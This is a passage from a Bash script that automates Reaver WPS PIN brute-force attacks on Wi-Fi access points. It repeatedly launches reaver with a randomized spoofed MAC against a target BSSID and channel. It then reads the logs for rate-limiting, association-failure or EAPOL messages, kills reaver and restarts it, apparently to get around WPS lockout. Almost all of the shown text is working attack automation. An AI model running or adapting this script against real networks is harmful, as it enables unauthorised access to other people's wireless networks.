REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME29-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME29-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME29-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME29-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME29-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME29-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY6" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME29-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME29-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME29-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME29-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP29 (ESSID: $NMEWARN29)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME29-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME29-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME29-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME29-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP29 (ESSID: $NMEWARN29)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME29-$DATEFILE-$PAD

                   fi


#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null



clear
	fi

################# Determine to keep file or not ###########

 if [ $KEEP_FILE29 == n ] || [ $KEEP_FILE29 == N ]; then

          rm VARMAC_LOGS/$NAME29-$DATEFILE-$PAD

			fi

################End keep file or ease #####################


###############################END USR Block################################################
###############################Start USR Block################################################

if [[ $USE_R30 == n || $USE_R30 == N ]] && [[ $USE_LONG30 == n || $USE_LONG30 == N ]] && [[ $USE_PIN30 == n || $USE_PIN30 == N ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME30"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL30"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP30"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE30 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME30-$DATEFILE-$PAD"
echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL30 -b $TARGETAP30 -vv -x 60 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME30-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE30-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME30-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi


if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME30-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME30-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME30-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY1" ]] || [[ $line == "YYY21" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY22" ]] || [[ $line == "YYY23" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME30-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME30-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME30-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME30-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME30-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME30-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME30-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

	esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME30-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY43" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP30 (ESSID: $NMEWARN30)" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY41" ]] || [[ $line == "YYY42" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME30-$DATEFILE-$PAD


                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME30-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME30-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

	esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME30-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP30 (ESSID: $NMEWARN30)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME30-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

if [[ $USE_R30 == y || $USE_R30 == Y ]] && [[ $USE_LONG30 == n || $USE_LONG30 == N ]] && [[ $USE_PIN30 == n || $USE_PIN30 == N ]]; then


echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME30"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL30"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP30"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX30" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY30"
echo -e "$info Reaver live time                   = $yel$LIVE30 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME30-$DATEFILE-$PAD"
echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL30 -b $TARGETAP30 -vv -x 60 -r $RX30:$RY30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME30-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE30-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME30-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME30-$DATEFILE-$PAD

                   fi


REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME30-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME30-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME30-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME30-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME30-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME30-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME30-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME30-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME30-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME30-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP30 (ESSID: $NMEWARN30)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME30-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME30-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME30-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME30-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP30 (ESSID: $NMEWARN30)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME30-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

#######################


if [[ $USE_R30 == n || $USE_R30 == N ]] && [[ $USE_LONG30 == y || $USE_LONG30 == Y ]] && [[ $USE_PIN30 == n || $USE_PIN30 == N ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME30"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL30"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP30"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE30 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME30-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL30 -b $TARGETAP30 -E -S -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME30-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE30-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME30-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME30-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME30-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME30-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME30-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME30-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME30-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME30-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME30-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME30-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME30-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME30-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP30 (ESSID: $NMEWARN30)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME30-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME30-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME30-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME30-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP30 (ESSID: $NMEWARN30)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME30-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi
###################

if [[ $USE_R30 == y || $USE_R30 == Y ]] && [[ $USE_LONG30 == y || $USE_LONG30 == Y ]] && [[ $USE_PIN30 == n || $USE_PIN30 == N ]]; then

echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME30"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL30"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP30"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX30" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY30"
echo -e "$info Reaver live time                   = $yel$LIVE30 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME30-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL30 -b $TARGETAP30 -r $RX30:$RY30 -E -S -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME30-$DATEFILE-$PAD" &

sleep 2
#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE30-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME30-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME30-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME30-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME30-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME30-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME30-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME30-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME30-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME30-$DATEFILE-$PAD

                   fi


REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME30-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME30-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME30-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP30 (ESSID: $NMEWARN30)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME30-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME30-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME30-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME30-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP30 (ESSID: $NMEWARN30)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

